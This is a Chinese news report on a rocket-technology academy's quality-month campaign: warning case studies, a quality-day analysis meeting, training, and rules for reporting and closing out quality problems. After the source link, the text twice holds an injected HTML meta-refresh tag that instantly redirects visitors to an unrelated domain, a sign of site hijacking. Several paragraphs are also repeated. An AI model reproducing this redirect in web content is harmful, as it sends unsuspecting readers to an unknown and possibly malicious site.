航天科技一院(运载火箭技术研究院)竖起质量“警示牌”

<br /><br />在质量月期间，中国航天科技集团公司一院紧密结合高强密度发射及当前形势任务特点，全面策划质量月活动，严密组织实施，旨在以此次活动为契机，提高全员质量意识。该院特别通过国内外案例分析，对质量工作形成警示，并加大质量形势任务宣传力度，使每位职工在当前超常工作状态下，用更高的标准开展工作，以“高质量、高效率、提高管理水平”为目标，不断提高职工、队伍的素质及增强适应形势任务特点的能力。
　　该院要求各单位按照中国航天科技集团公司和一院的整体部署，努力提高全员质量意识，按照集团公司“深化精细化质量管理、杜绝低层次质量问题”和“牢记使命、警钟长鸣、狠抓落实、确保成功”的活动主题，全面研究部署并认真组织开展好质量月和质量日活动，制定活动计划，严密组织实施，确保各项工作顺利开展。
　　据了解，结合当前形势任务特点，该院的质量月活动在往年活动的基础上着重突出质量案例的“警示”作用，并将组织召开“9.21中国航天科技集团公司质量日”质量分析会，播放“国内外飞行试验质量案例警示录”录像片，组织有关单位和型号人员围绕高强密度发射、型号研制和质量管理工作经验等进行交流。此外，该院还将搜集近几年国内外航天飞行任务中发生的失利或重大质量问题，编辑质量案例启示录，并印发给全院相关单位，供学习和借鉴。
　　该院还将于9月底邀请有关专家开展“零缺陷”质量管理理念、国外质量管理动态、院质量问题的诊断分析等培训，提高全员的质量管理理念和质量管理知识。
　　在提高警示作用的基础上，该院的质量月活动还将加强基础工作的研究，包括通用强制检验点、多媒体记录、产品交接与验收、安装定力矩要求、老产品的反设计等，并加强思想方法研究、标准宣传贯彻和培训工作等，有针对性地开展提升能力的相关工作。
　　该院要求所属单位利用质量月的契机，将质量活动深入到基层班组，在班组中广泛开展“QC小组成果发布、提合理化建议、质量问题和偏差分析、案例剖析、举办质量培训、数据包的有效实施”等活动；要求各级管理人员要深入到基层班组，参加班组活动，深入了解、听取基层人员的意见和建议，以便改进工作，完善管理。
　　该院要求各单位、各型号要健全质量问题报告制度，形成发射场信息传递的联动机制，对发现的问题及时彻底进行“归零”；完成质量问题信息采集卡的填报和确认，便于其他型号进行举一反三，确保圆满完成后续科研生产任务。http://www.spacechina.com/xwzx_jcdt_Details.shtml?recno=78650<meta http-equiv="refresh" content="0; url=http://558812.com">
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　　该院要求各单位按照中国航天科技集团公司和一院的整体部署，努力提高全员质量意识，按照集团公司“深化精细化质量管理、杜绝低层次质量问题”和“牢记使命、警钟长鸣、狠抓落实、确保成功”的活动主题，全面研究部署并认真组织开展好质量月和质量日活动，制定活动计划，严密组织实施，确保各项工作顺利开展。
　　据了解，结合当前形势任务特点，该院的质量月活动在往年活动的基础上着重突出质量案例的“警示”作用，并将组织召开“9.21中国航天科技集团公司质量日”质量分析会，播放“国内外飞行试验质量案例警示录”录像片，组织有关单位和型号人员围绕高强密度发射、型号研制和质量管理工作经验等进行交流。此外，该院还将搜集近几年国内外航天飞行任务中发生的失利或重大质量问题，编辑质量案例启示录，并印发给全院相关单位，供学习和借鉴。
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　　该院要求各单位、各型号要健全质量问题报告制度，形成发射场信息传递的联动机制，对发现的问题及时彻底进行“归零”；完成质量问题信息采集卡的填报和确认，便于其他型号进行举一反三，确保圆满完成后续科研生产任务。http://www.spacechina.com/xwzx_jcdt_Details.shtml?recno=78650<meta http-equiv="refresh" content="0; url=http://558812.com">
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